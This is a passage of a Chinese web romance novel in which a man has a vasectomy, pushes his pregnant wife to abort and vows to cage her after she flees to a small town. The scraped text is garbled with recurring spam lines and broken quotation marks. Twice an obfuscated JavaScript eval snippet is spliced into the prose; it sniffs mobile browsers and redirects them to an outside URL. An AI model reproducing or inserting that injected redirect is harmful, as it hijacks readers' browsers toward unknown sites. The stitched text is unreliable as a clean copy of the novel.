所里的主任、带过他的老教授、还有平时最不爱出办公室的那位大领导。 顾煜脚步顿了一下。 他们看到他的时候也停住了。 气氛一下子变得很奇怪。 主任先开口，声音压得很低，“出来说吧。” 顾煜看了一眼病房里的言昭，轻轻把门带上。 走廊的灯光冷白。 几个人围着他站着。 那种阵势，比当初讨论重大项目还严肃。 “你申请结扎？” 顾煜点头，“嗯。” 干脆得没有一点解释。 大领导急了，“你知不知道你在做 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 什么？” 顾煜的神情很平静，“知道。” 老教授气得手都在抖，“你那个基因，你那个脑子——” 话说到一半就被旁边的人一把拽住。 这种话在医院走廊里说出来太敏感。 主任深吸了一口气，强行把语气压稳，“这是你的私事，我们原则上不干涉，但你能不能再考虑一下。” 顾煜抬眸，唇角勾起一个冷冽的笑意，“我这个基因动不动就失控，有什么值得留下的？她身边已经有我这个累赘了，为什么还要再多一个？” 老教授的表情一下子变了，声音也低下来，“那就更不能冲动，你这个精神类的问题不是先天的，不会遗传。” 顾煜看着他，眼神没有一点温度，“我自己都不知道是先天还是后天，如果以后我的孩子真的有这个病，你能替他负责吗？” 走廊瞬间安静下来。 刚才还想劝的人全都说不出话。 几个人对视一眼，没人再开口。 顾煜没有再多说一句。 流程因为单位的人出面反而变得异常顺畅，原本需要层层审批的手续被迅速协调下来，他换上手术服的时候神情平静得像是去做一场再普通不过的实验。 手术室的灯亮起，他躺在手术台上，目光盯着天花板，眼底没有一点波动。 而另一边，言昭在病房里慢慢醒过来。 她的意识还带着一点混沌，第一反应就是下意识去看床边。 顾煜不在。 正好有护士进来，她随口问了一句，“我丈夫呢？” 护士对顾煜还是认识，那么一张脸，是个人都不会忘记，“你丈夫已经去做手术了。” 言昭还没反应过来，“什么手术？” “结扎手术，刚推进去没多久。” 那一瞬间，言昭整个人像被人迎头砸了一下。 她甚至没听清后面的话。 脑子里只剩下“结扎”两个字在嗡嗡作响。 而护士看到她脸色难看的样子觉得奇怪，心底其实也很佩服言昭，能让男人去做结扎手术，只觉得言昭很有一招。 而顾煜其实让大家隐瞒，只不过这个护士这几天休息，根本没接到通知，现在就说了出来。 言昭的脸色一下子白了。 男人……怎么结扎？ 她脑子里乱成一团。 顾煜为了不让她怀上孩子，是直接把自己弄成太监吗？ 这个念头一冒出来，言昭整个人都开 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 始发冷。 她甚至顾不上身体还虚，猛地掀开被子下床，脚落地的时候一阵发软，她扶着床沿才站稳。 心跳快得像要从嗓子眼里蹦出来。 他怎么可以这样。 他有没有想过她。 以后他们的日子怎么办。 他是不是已经连两人的以后都一起切掉了？ 言昭扶着床沿站在那里，脑子里一片混乱，她只觉得一切都发生得太快，也觉得很奇怪。 明明日子开始变好了。 明明两人已经是真正的夫妻。 就在言昭还扶着床沿发愣的时候，门被推开了，她甚至没有反应过来。 直到那道熟悉的身影走进来。 她整个人像是被人猛地拉回现实。 顾煜。 他是自己走进来的。 没有被推床，没有被人扶着，步子稳得和平时一样。 言昭原本乱成一团的脑子瞬间空了一下，所有情绪都被这一幕打断。 她下意识盯着他看。 从脸，到肩膀，再往下。 目光落在他身下的位置时整个人僵住。 他居然是走回来的。 顾煜还带着一点麻醉后的迟缓，但神情已经恢复成她最熟悉的那种温和。 看到她醒着，他明显怔了一下，连忙走到床边坐下。 “昭昭，你醒啦。” 声音和平常没有任何区别。 他伸手摸了摸她的额头，又去看旁边的水杯，像是下意识确认她有没有好好躺着。 整个人的状态就跟没做过手术一样。 言昭的脑子彻底乱了。 她刚刚所有的恐慌、绝望，在看到他这样坐在自己面前时全部卡住。 她张了张嘴，可现在一个字都说不出来。 顾煜看着她发白的脸色，眉头微不可察地皱了一下，“怎么下床了。” 语气甚至还带着一点轻轻的责备。 他伸手把她重新按回床上。 言昭重新躺回床上，眼睛一直落在顾煜身上。 他还是那么好看，眉眼干净，鼻梁挺直，整个人坐在那里就很显眼。 只是他脸色有点白，唇也没什么血色，看着比平时虚了一点。 衣服穿得整整齐齐，扣子一颗不乱，头发也利落，哪有一点刚做完手术的样子。 言昭越看越觉得不对劲。 顾煜当然发现她在盯着自己。 他本来想转身去倒水， 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 身体刚动了一下，动作却忽然停住。 很轻的一下。 像是哪里扯到了一样。 他的背脊僵了一瞬，呼吸也跟着顿了顿。 下一秒又恢复正常，像是什么都没发生。 他把水杯放到床头，语气还是温温的，“昭昭在看什么？ 言昭伸手抓着他，还是又问一句：“你为什么不要孩子？ “昭昭。顾煜的声音很低，“孩子的事情…… 他只说了个开头，言昭的心已经提到了嗓子眼。 顾煜还是点头：“我不喜欢孩子，昭昭。这个世界我们两个人相伴不好吗？ 他看着她，声音低低的，像是在哄， 言昭整个人僵住了。 她原本还死死抓着自己可能听错了的那一点希望，此刻被这一句话彻底碾碎。 她的眼睛一点点睁大，瞳孔发颤，唇瓣也跟着抖起来，声音轻得几乎听不见。 “可是……孩子已经怀上了啊……而且你…… 后面的话没说出来。 顾煜立刻握住她的手，力道很紧。 “是我的错，上次我没控制好自己让你怀上了。昭昭，你放心，我不会让你的身体受伤。 “昭昭，你听话，把孩子拿掉。我也已经做了结扎手术，以后不会再有这种事，我们—— 话还没说完，言昭猛地把手抽了出来，用力推了他一把。 那一下不重，直接把两个人之间最后一点亲密彻底推散。 她往后退，背抵在床头，像是第一次看见他一样，眼睛里全是陌生和惊惧。 “你别说了…… 顾煜的身体僵在原地。 他从来没见过她用这种眼神看自己。 不是委屈，不是撒娇，不是生气。 言昭摇着头，像是在否认什么，又像是在拼命让自己清醒过来。 “你不是这样的，顾煜不是这样的……你肯定是又中邪了！ 她记忆里的顾煜，会因为她多走两步路都心疼，会因为她吃得少一点就紧张，会在她半夜翻身的时候给她盖被子，会把所有钱都塞进她手里，说让她安心。 他怎么会用这么冷静的语气，说不要他们的孩子。 顾煜听见“中邪两个字，整个人像被什么狠狠刺了一下。 他脸上的温和第一次维持不住，唇角的弧度僵住，眼神骤然沉下去，那种被他死死压在最深处的东西一下子翻了上来。 现在她在怕他 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 。 这一幕和很多年前重叠在一起。 昏暗的房间，反锁的门，只要看见他的人，眼神都会变得一样，躲避、厌恶、嫌弃，说他不正常，说他脑子有病，说他中邪，说他晦气。 可昭昭不是那样的。 她是唯一一个，会在他发烧时守着他、会在所有人避开他时还主动靠过来的人。 顾煜下意识往她面前凑了一步：“昭昭，你也信他们说的那些话吗？ 他的声音低得发哑。 “信我天煞孤星，信我克人，信我……有病？ 那双眼睛盯着她，湿沉又紧绷。 言昭这才意识到自己那句“中邪像刀子一样扎在他身上。 她看着他低着头的样子，喉咙发紧，想伸手碰他，又不敢真的碰上去。 她抿了抿唇，声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338038|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音小下来，“那你告诉我，你为什么不喜欢我们的孩子？ 顾煜没有抬头。 他的视线落在两人交握的手上，指节一点点收紧，像是在控制什么。 “我这种有病的，他声音很低，“你身边有我一个就够了，何必再多一个。 言昭愣住，完全听不懂他在说什么。 他跟孩子为什么会放在一起算？ 但她还是很快反应过来，她稍微松了一口气，笑着说：“孩子我们可以慢慢养，他不会被人欺负，就算跟你一样容易生气，我也会好好照顾孩子，你…… “这个孩子不能要！ 顾煜的声音忽然冷下来。 不是平时那种压着情绪的温和。 是直接截断。 言昭没想到他会用这种语气说话。 那一瞬间，她真的被吓到了。 顾煜自己也意识到了。 他呼吸顿了一下，指节松开，又重新握住她的手，声音立刻缓下来。 “昭昭，我没有凶你，我只是……他停了一下。“你先好好休息，饿了跟我说。 仿佛刚刚那句拒绝只是一个小插曲。 …… 第二天大早上。 医院走廊的灯还亮着。 顾煜站在病房门口，没有立刻进去。 他低着头，像是在整理情绪。 昭昭应该还在生气。 这个念头在他脑子里转了一圈又一圈。 可那个孩子……是真的不能留。 他太清楚自己是什么样的人，情绪一上来就控制不住，还不止一次伤到她。 现在顾煜 听说看这本书的人都是很幸运的，分享后你的运气会更棒 想起来都后怕。 而且女人生孩子本来就是一件危险的事。 她身体又不好。 自己不忍心。 顾煜抬手揉了一下脸，呼出一口气，像是把所有情绪都压下去，准备以最平常的样子进去。 麻醉退了之后伤口真的很疼，所以他在隔壁房间待了一会儿。 这种病态白反而更显得顾煜整个人清俊好看。 白色的走廊灯打在他脸上，把那点苍白衬得更明显。 几个路过的护士忍不住放慢脚步偷看。 他五官生得太好，气质又干净冷淡，站在那里就很显眼。 “他就是那位顾教授吧。 有人压低声音。 “长得也太好看了…… “听说他对他媳妇特别好。 几个小护士一边偷看一边小声说话，眼里全是羡慕。 顾煜完全没注意到这些，他伸手推开门…… 病房空着的那一刻，他整个人僵住。 被子叠得整齐。 床上没有人。 桌上的水杯还是他昨晚放的位置。 像是什么都没发生。 可人不见了。 他站在那里几秒没有动。 然后转身出去，怒吼了一句，“人呢！ …… 清晨的街摊刚支起来。 天还带着点灰白，路面潮湿，卖早点的炉子已经冒起了热气，蒸笼一层一层叠着，水汽往外翻。 有人推着自行车路过，有人拎着布袋买豆浆油条，说话声压得低低的。 言昭坐在一张小木凳上，面前是一碗刚端上来的汤面。 她低着头慢慢吃。 她是昨晚从医院自己跑出来的。 言昭也不是赌气。 只是想离开顾煜身边一段时间。 她觉得他现在这样，是因为太担心她了。 只要让他冷静几天。 等他想明白，就不会再说不要孩子的话。 她也需要冷静。 这几天发生的事情太快了，快到她连喘口气的时间都没有。 热汤的雾气扑到言昭脸上，她脑子里反反复复都是那件事。 顾煜已经结扎了。 这是真的。 不是吵架时说出来的话。 她握筷子的手顿了一下。 自己才刚刚尝到两个人在一起的那点滋味。 刚觉得日子开始像个家。 你的朋友正在书荒，快去帮帮他吧 现在被一下子截断。 她低头把面夹起来，机械地往嘴里送。 …… 清晨的街口刚刚热闹起来，早点摊的蒸汽一阵一阵往上冒，油锅里下着面饼，发出细碎的噼啪声。 现在已经过去三天了。 言昭原本想着给彼此一点时间，让顾煜冷静下来，也让自己把那天在医院听到的话消化掉。 可越拖，她越坐不住。 言昭还是决定回去吧。 她把围巾重新系好，刚走出巷口，脚步却猛地顿住。 街对面的梧桐树下站着一个人，身形挺拔，穿着深色大衣，肩线笔直，侧脸在晨光里干净得过分—— 那张脸她闭着眼都能描出来。 顾煜。 言昭心口咚地一下，整个人像是被人推了一把，几乎要跑过去。 她甚至已经抬脚，眼睛都亮起来了。 可紧接着，言昭就看见他身边还站着一个女人。 那女人穿着整洁的呢子外套，头发盘得一丝不乱，正微微侧着身子和他说话。 两人站得不算近，却明显是在等彼此。 言昭的脚就那样停在原地。 刚才那股子冲过去的冲动瞬间被什么拦住了，她下意识往后退了一步，整个人贴进旁边卖报纸的小摊后面，借着堆起来的报纸挡住自己。 她也不知道自己为什么要躲。 只是身体比脑子先做出了反应。 她从报纸的缝隙里看过去，顾煜的神情和平时在她面前不太一样，没有那种温柔的缓和，眼神沉得厉害，下颌线绷得很紧。 那女人像是在劝他什么，声音压得很低，言昭听不清。 只不过当顾煜开口，她还是听清楚了。 “我要找到她。” 他停了一下，像是在压着什么情绪，手指在身侧一点点收紧。 “我会做一个很华丽的笼子，把她关进去，然后锁起来。” 言昭刚刚还在想冲过去抱住他，现在却连呼吸都不敢太用力。 那女人的声音忽然高了一点：“你现在都已经结扎了，那个孩子留着就留着呗……” 言昭的手指无意识地攥紧了报纸边角，纸张被捏得发出细小的皱裂声。 顾煜笑了。 不是在她面前那种温柔的笑，也不是在外人面前那种疏离的礼貌笑。 那是一种很轻的、没有温度的笑意。 “等找到昭昭。”他停了一下，像是在想象那个画面，唇角的弧度甚至还往上扬了一点。 第70章 哪个野男人 顾煜站在那里，胸腔起伏得很重。 因为昭昭就在这里。 这个念头在他脑子里反复撞击，像火一样烧开，血液顺着四肢往上涌。 他整个人都处在一种压不住的兴奋里，指尖都在轻微发颤。 顾煜也根本不想再听旁边的人说话。 心理医生还在说着什么，他一句都没听进去。 他已经得到消息了。 昭昭就在这里。 只要再往前走几步，他就能把人找到。 这种快要抓住的感觉让他呼吸都变得急促，喉结滚动了一下，眼底的光亮得有些骇人。 旁边的女医生看着他这个样子，慢慢叹了口气。 这根本不是普通的情绪失控。 是偏执。 女医生也终于明白为什么院里会特地把这个人交到她这里。 当时她第一次见顾煜，是在医院的走廊。 那个女生被他掐着脖子按在墙上。 他脸上没有一点表情，眼神冷得像没有活人气息，手背青筋绷起，周围那么多人，竟然没有一个敢上前。 那一瞬间的顾煜，像是真的能把人掐死。 后来说帮忙找到他爱人，他整个人的状态才稍微好了一点。 那种反差让人后背发凉。 女医生只希望他真的能找到他的爱人，不然她压力也大。 可两人不知道的是，此刻的言昭已经从另一条街冲了出去。 她跑得很快，胸口发紧，呼吸一下一下往外撞，脑子也乱成一团。 刚才躲在墙角听见的那些话一遍遍在耳边回响。 那个女人是谁？ 为什么知道结扎的事？ 为什么还知道顾煜要打掉孩子这件事？ 顾煜从来不跟别人说家里的事情。明明一直都是两个人的日子。 顾煜跟她是什么关系？ 言昭的脚步更快了。 三天。 已经三天了。 她原以为顾煜会冷静下来，会答应留下这个孩子。 可没有。 他还是打算不要孩子，而且这一次找到她还要把她锁起来。 言昭只觉得心口发冷，又有一点说不出的委屈。 可当手下意识落在小腹上时，她的呼吸慢慢稳了一点。 这个孩子必须留下。 顾煜已经结扎了，这是自己唯一的孩子。 而且言昭因为从小都是寄人篱下，她一直很想有个家， 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 家里有自己丈夫跟孩子。 可是顾煜根本不懂自己。 所以言昭决定了她就算回去也要先把这个孩子生下来。 她咬了咬牙继续往前跑。 街口停着一辆四轮货车车斗里已经坐了几个人都是背着行李的知青模样。 司机靠在车门边抽烟像是在等人。 言昭几乎是想都没想就走过去。 “能带我一程吗？” 司机看了她一眼“去哪？” 言昭报了个自己都没多想的地名把钱递过去的时候指尖还是凉的。 司机收了钱连多看她一眼都没有抬手往车斗里指了指她就踩着轮胎边缘爬了上去。 车斗里已经坐了七八个人身上都背着铺盖卷和布包有人脚边还放着搪瓷脸盆和暖水瓶一看就是从乡下返城的知青。 他们往旁边挪了挪给她腾出一小块位置。 言昭身上的衣服干净整齐料子也比这些人好一点有个扎着两条辫子的姑娘还冲她笑了一下显然把她当成了同路的人。 这种车子最近很常见。 知青开始返程可真正能把户口迁回去的没有几个。 有些人已经在当地结了婚户口落下来了明面上走不了就只能自己找门路先跑出来再说。 于是就有了这种专门拉人的四轮货车。 言昭抱着自己的包坐在角落 有人在商量回城后先去投靠谁。 有人叹气说介绍信还没弄好。 还有人小声说要不要先躲一阵子再想办法。 言昭听着这些上辈子经常听见而这辈子只觉得很遥远的话。 她现在焦虑的是自己要去哪安安稳稳生下孩子。 虽然存折不在自己身上但幸好自己身上还有一百多块这都是顾煜零零散散给她的。 等到车子坐满人开始一颠一颠地动起来。 风从后面灌进来把车斗里的土腥味和柴油味一起卷起来。 京市的街道开始一点点被甩在后面。 言昭把手轻轻覆在小腹上掌心贴着那一小块温热的地方眼眶一下子红了。 她小声地吸了一口气然后把眼泪憋回去。 …… 三个月后。 南方的一个小县城。 天亮得早天边才泛出一点白街口的早点摊已经冒起了热气。 言昭把用竹竿搭的小棚子支好油布 听说看这本书的人都是很幸运的，分享后你的运气会更棒 一角压在石头下，又把折叠的小板凳摆出来。 现在她动作已经熟练得不需要多想。 三个月的时间，她从最开始什么都不太会，到现在能一个人把摊子撑起来。 炉子里的煤球烧得通红，铁锅一热，水汽立刻腾起来，把清晨的凉意冲散了一点。 她低头揉面的时候，肚子已经有了明显的弧度，布衫被撑得微微鼓起。 刚来这里的时候她还总是下意识去遮，现在反而不怎么在意了。 县城不大，现在人来人往的都是熟面孔。 大家只知道言昭是个从外地来的小媳妇。 男人在外面打工，她在这里卖面。 前几天言昭还去了一趟卫生所。 那间小小的屋子里坐着个白胡子的老中医，给她把了半天脉，又眯着眼睛摸了摸她的肚子，最后慢悠悠说了一句，“你肚子里面揣了两个。 言昭当时愣了好一会儿。 等反应过来，整个人都热了起来。 两个孩子！ 她一个人，肚子里竟然有两个孩子。 那一刻她觉得自己当初从医院跑出来的决定一点都没错。 顾煜不要。 她要。 而且老天还多给了她一个。 此时锅里的水咕嘟咕嘟地响起来，她回过神，把面条抻开下进去，又顺手切了点葱花。 早起上工的人陆陆续续来了，有人蹲在她摊子前吃面，有人跟她打招呼。 “言昭，你今天这么早啊。 “嗯，醒得早。 她笑着回了一句，把面端过去。 现在的日子简单得很。 早上摆摊，中午收摊回去歇一会儿，下午做点小活，晚上早早睡。 这日子过得轻松。 可偶尔夜里醒过来的时候，言昭还是会下意识往旁边摸。 摸到的是空的。 她就会愣一会儿，再慢慢把手收回来，翻个身继续睡。 她知道自己在想谁。 可她不敢让自己想太久，怕自己忍不住回去。 锅里的面汤溢出来，她赶紧关小火，低头的时候，手又落在肚子上轻轻摸了一下。 “你们两个要乖一点。 她小声说了一句，声音轻得只有自己能听见。 街道尽头传来一阵拖拉机的响声，新的一天彻底热闹起来。 言昭把碗一个个摆好，脸上带着一点被蒸汽熏出来的红。 等到太 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 阳从头顶慢慢往下的时候街上的人渐渐少了下来。 言昭把最后一碗面递出去用围裙擦了擦手上的水汽蹲在小木箱旁边开始数钱。 零钱一张一张摊开。 毛票、分票还有几张被油烟熏得有点软的整钱。 她数得很认真。 数完又重新数了一遍。 除去早上买面粉、煤球和调料的钱 比昨天多了两毛。 她忍不住弯了弯眼睛。 以前在顾煜身边京市的时候这点钱也就够去一次大澡堂、吃点东西。 现在自从言昭体会到赚钱的辛苦她是真觉得顾煜对自己算不错的。 言昭把钱叠好塞进贴身的小布包里。 她身上原本就没带多少。 刚来这个县城的时候连住的地方都没有。 那天正巧在路边看到那个老婆婆晕倒她把人背去卫生所又陪着打点滴忙了一整天。 那间小小的铺面原本是老婆婆年轻时开的小店后来腿脚不好就一直空着。 她把钥匙塞进言昭手里说：“你先用着给我看着店就行。” 言昭哪好意思白用。 现在每天收摊后她都会去后院帮老婆婆劈柴、挑水、洗菜顺带把屋子收拾得干干净净。 就当是交房租。 她把炉子里的火压灭又把锅洗干净倒扣着慢慢收拾摊子。 挺着肚子弯腰的时候动作已经很小心。 收完东西她提着木箱往后院走。 老婆婆正坐在小板凳上摘菜看见她回来就笑。 “今天生意怎么样啊。” “还行赚了四块多。” 言昭把钱的数目说出来的时候声音都带着一点轻快。 老婆婆点点头“慢慢来小地方就是这样饿不着人。” 言昭应了一声把水桶拎到井边去打水。 绳子一圈一圈往下放水声在井里回响。 她用力把水提上来手臂因为用劲微微发抖可还是咬着牙稳稳放好。 这样的活她以前干过但是在顾煜身边太久一些东西就被她渐渐遗忘了。 她低头看了一眼自己的手。 掌心已经有了薄薄的茧。 这要是被顾煜看到肯定会唠叨自己他好不容易让自己双手变好了现在又回到以前的样子…… 言昭连忙甩了一下脑袋不能再继续想了。 听说看这本书的人都是很幸运的，分享后你的运气会更棒 现在她需要的是先把孩子生下来。 她把水倒进缸里直起身腰有点酸跟着下意识扶了一下。 肚子里的两个孩子好像轻轻动了一下。 她整个人都愣住。 下一秒脸上慢慢浮出笑来。 “别闹。” 她小声说了一句手掌贴在肚子上轻轻拍了拍。 别人都说三个月不会有胎动可言昭会感觉到。 可能是因为她怀了两个吧也许她比较敏感每次都会稍微感觉到一点。 言昭刚把水缸盖好坐在门口的小板凳上歇了一口气还没来得及把围裙解下来门口的光就被挡住了一块。 她抬头一看胃里那点刚压下去的酸水又翻了上来。 站在门口的是老婆婆侄子王二柱。 这人瘦得像根竹竿脸上坑坑洼洼嘴巴尖得往前凸眼睛小还老是眯着一笑就挤成一条缝。 听老婆婆说他一年都不见回来一次。 可自从知道言昭在这里帮老婆婆看店又把这个小铺子支起面摊之后现在这男人几乎是三天两头往这边晃。 而且这男人嘴上说是来看姑姑可那睁不开的眼睛还总往她身上黏。 那种打量的视线从头扫到脚再在她肚子上停一会儿让言昭心里直犯恶心。 可她不能把人赶走。 老婆婆对她这个亲侄子还有点亲情在。 王二柱靠在门框上咧着嘴笑“哟忙完了啊。” 言昭低头把手里的抹布拧干没搭话。 他没走反而慢慢往里挪了两步目光在她身上转了一圈“生意挺好啊姑姑这铺子都让你给盘活了。” 话听着像夸人语气却阴阳怪气。 “我听人说你一天能赚好几块？” 王二柱看着眼前女人弯着腰把水倒进桶里衣襟贴着身子 可整个人气色饱满脸颊润泽。 她眉眼本就生得好这会儿因为干活脸颊微微泛红反倒添了几分软媚的孕味。 只觉得这女人看起来真得劲。 言昭这才抬头看了他一眼“糊口而已。” 她语气平平明显不想多说。 王二柱却笑得更深了“一个外地女人肚子还这么大我怎么从没见到你男人啊？你不会是跟哪个野男人睡怀上的……” 王二柱话还没说完。 “啊——！” 一声惨叫猛地炸 听说看这本书的人都是很幸运的，分享后你的运气会更棒 开。 他整个人往前一扑，抱着脚在门口蹦了起来。 一块半截的红砖正正砸在他脚背上。 言昭已经站起来了，手里还攥着另一块砖，脸上一点表情都没有，眼神冷得发狠。 她平时说话软软的，做生意也是笑着的，可这一刻整个人像换了个人。 “你再说一遍试试。 王二柱疼得脸都扭曲了，弯着腰直吸冷气，额头瞬间冒汗。 他本来还想骂人，一抬头对上言昭的眼神，话硬生生卡在喉咙里。 那不是一个怀着孩子、在这儿摆摊讨生活的女人该有的眼神。 狠得让人发怵。 “你、你敢打我？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338039|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言昭往前走了一步，砖头在手里掂了一下。 “我不仅敢打你，你嘴再不干净，我就砸你头！ 院子里不知什么时候已经聚了几个人，门口、墙根、灶房窗子边，全是探头探脑的影子。 原本还有人压着声音说笑，看清是王二柱后，脸上的神情一下子变得嫌弃起来。 “又是他…… “啧，人家肚子都这么大了，他还这么不要脸。 几个妇人撇着嘴，眼里的嫌弃都快溢出来。 有人干脆把怀里的菜篮子往胳膊上一挎，站得更近些。 只不过让他们惊讶的是，这个平日里看起来好说话的小媳妇，说话轻声细气，见谁都带着笑。 这会儿竟然一手拎着砖头，眼神冷得吓人，腰背挺得直直的，整个人像是换了个性子。 王二柱也是看她怀着身子、又是个外来的，以为好拿捏，嘴上占点便宜，再往前逼两步，说不定还能把人吓住。 谁知道她胆子竟然这么大。 王二柱被这么多人盯着，脸上一阵青一阵白，走也不是，不走也不是。 最后他梗着脖子丢下一句：“你等着！我要让我姑姑把你赶走！ 这话一出来，言昭的指尖猛地一紧，牙关咬得发酸。 那老婆婆因为生不出儿子，对这个侄子还真的有几分偏袒的意思。 她要是现在被赶出去，怀着身子，拿着东西找个落脚地方也麻烦。 言昭手里的砖头“啪地一声扔在地上，人直接往地上一坐。 哭声说来就来。 “我命怎么这么苦啊—— 她拍着自己的大腿，声音一下子拔高，眼泪顺着脸往下掉，鼻音重得厉害。 “男人在外面累死累活地干活，我一 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 个人在家里挺着肚子做点小生意，还要被人堵在院子里欺负！这日子还让不让人过了！” 刚才还拿着砖头要砸人的小媳妇，这会儿坐在地上哭得上气不接下气，肚子随着呼吸一起一伏，看着又可怜又揪心。 她一边抹眼泪一边喊：“大家都给我作证！是他跑到我家里来耍流氓！我不活了，我要去报警！让公安来评评理！” “我一个怀着孩子的女人，他还往我跟前凑，他安的什么心啊——” 这几句话一出来，院子里的风向立刻就变了。 几个妇人的脸一下子沉下来，有人当场就骂出了声：“王二柱你要不要脸！人家男人不在家你就往院子里钻！” “还搬你姑姑出来？你姑姑也得讲理！” 一时间骂声四起。 她们倒不全是为了替言昭出头，而是心里都在担心—— 真要把公安招来了，这事就跟长了耳朵似的往外飞。 现在抓流氓抓得多严啊。 到时公安过来，这整条巷子都得跟着被人议论。 他们这些住在一块儿的，出门都得抬不起头。 王二柱也是慌了。 他原本只是想占点嘴上的便宜，哪扛得住“耍流氓”这么一顶帽子扣下来。 王二柱现在顾不上面子，他转身就往外跑，脚步乱得差点在门槛上绊一跤，没一会儿人影就消失在巷子口。 院子里顿时松了一口气。 言昭还坐在地上抽着气，等确定人真走远了，她才抬手抹了把脸上的眼泪，慢慢撑着地站起来。 此时她眼眶红红的，鼻尖也红，整个人看着委屈得不行。 “快起来快起来，地上凉，你还怀着身子呢！” 离得最近的一个婶子赶紧伸手把她扶住，嘴里还骂骂咧咧：“这个王二柱真不是个东西，一天到晚游手好闲，还敢跑你这儿来犯浑！” “就是！下回他再来，你喊一声，我们几个都在家，俺也去他姑那儿说去！” 几个人围在她身边，你一句我一句地劝着。 “你可别多想啊，好好养身子要紧。” “对对对，你这面做得又好吃又实惠，谁不愿意来你这儿买？你要真走了，我们上哪吃去。” 这话一出来，旁边的人都跟着点头。 有人还顺手帮她把刚才掉在地上的砖头踢到墙角，又把水桶拎正，院子里原本看热闹的气氛一下子变成了帮她收拾摊子的热络。 言昭被人扶着站稳，低着头“嗯”了一 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 声，声音还带着点哭过后的哑意，看起来又乖又可怜。 …… 晚上王婆子回来的时候，院子里已经安静下来。 言昭听见她的脚步声，心一下子提了起来，手里正揉着面的动作都慢了半拍。 她白天哭那一场是做给人看的，可心里清楚，这地方到底是人家的，她要真翻脸让自己搬走，她也只能认。 借口早就在脑子里过了一遍—— 多给点钱、缓几天搬、铺子里还有存货没卖完，总能拖出点时间。 门帘被掀开。 王婆子站在门口，先是把院子扫了一圈，然后目光落在她肚子上。 “言昭啊，我还是想问问，你男人呢？” 第一句话既不是骂，也不是赶人，而是问这个？ 言昭愣了一下，还是按着以前那套讲：“婆婆，我跟你说过，我男人下乡去了，没城里户口，所以在外头给人干苦力，一时半会回不来。” 王婆子哦了一声，没接话，站在那儿沉默了好一会儿，像是在琢磨什么。 屋子里的气氛一下子变得有点闷。 王婆子终于开口：“我其实挺喜欢你的。” 言昭一怔。 王婆子又看了她一眼，声音压低了些：“我那侄子也喜欢你。我手里还有一间小铺子，攒了六百块钱养老用的。你跟我说句实话，你男人真在外头干活？” 言昭心口猛地一跳，还没等她接话，王婆子已经往下说：“你要是跟我侄子能成，这铺子跟钱都给你。” 屋子里一下子静得只剩下炉子里火星子的声音。 言昭整个人都僵住了。 她张了张嘴，第一反应是低头护住自己的肚子：“我怀着孩子。” 王婆子笑了，笑得像是在说一件再平常不过的事：“生下来就是我们老王家的种，我还能帮你带，省得你一个人累死累活。” 这话落下来，言昭往后退了一步，脸上的血色一点点褪下去。 “不可能！” 言昭毫不犹豫拒绝，“我不喜欢你家侄子，我有男人，我跟我男人是打了结婚证的。” 王婆子脸上的笑慢慢收了，屋子里的气氛也跟着沉了下去。 第71章 顾煜找过来了 王婆子被她这话顶住，脸色变了变，随即长长叹了口气，在门边的小凳子上坐下来，手在膝盖上拍了两下。 “我一个老婆子，无儿无女的，现在也就指着这么个侄子。他说要孝敬我，将来我闭眼的时候，也有人给我送终。” 言昭听着开始打感情牌了，她笑了一下。 “婆婆啊，你那侄子是什么德行，院子里谁不知道？” 王婆子抬头。 言昭已经把手里的面盆放下，擦了擦手，声音清清楚楚地落下来：“以前你腿疼得下不了地的时候，他来过几回？你生病的时候，是谁给你端水送饭的？” “现在我在这儿，铺子有了进项，他天天往院子里晃，是孝敬你，还是怕吃不上你这份绝户？” “你真以为他是给你送终的？你还想着等你哪天真躺下了，他能给你掏钱打棺材？到时怕不是把屋子一占，转头就把你那点东西卖了？然后给你草席一裹，连口像样的棺材都没有。” 这话说得太直，王婆子原本装出来的那点叹气样子一下子撑不住了。 “你这丫头嘴怎么这么毒！”王婆子一拍大腿，声音陡然拔高，“我侄子再不好那也是我们老王家的人！轮得到你在这儿指手画脚？” 王婆子也是越说越气，拐杖在地上戳得咚咚响。 “什么绝户不绝户的，哪有你这么说话的！我还没死呢，你就给我算棺材钱了？你安的什么心！” “滚，给我滚！现在就给我滚！” 言昭眯起眼睛，到底也是自己刚才话说重了，把人逼急了，现在这婆婆是一点情分都不看了。 可她要是不顶那几句，今晚怕是就被摁着答应跟王二柱的事了。 言昭轻轻叹了口气，点了点头：“行，正好我今天被人堵在院子里耍流氓，这事也不能就这么算了，我要去找公安同志说一声。” 王婆子脸色一变。 言昭已经把围裙解下来，折好放在桌上：“院子里那么多人都看见了，也都听见他说什么了，大家肯定会给我作证的。现在抓流氓抓得严，这种上门堵着怀孕女人的，怎么也得关个十年八年吧？” 王婆子一听她要去找公安，整个人都急了，拄着拐杖往前挪了两步，伸手就要去拽她的胳膊。 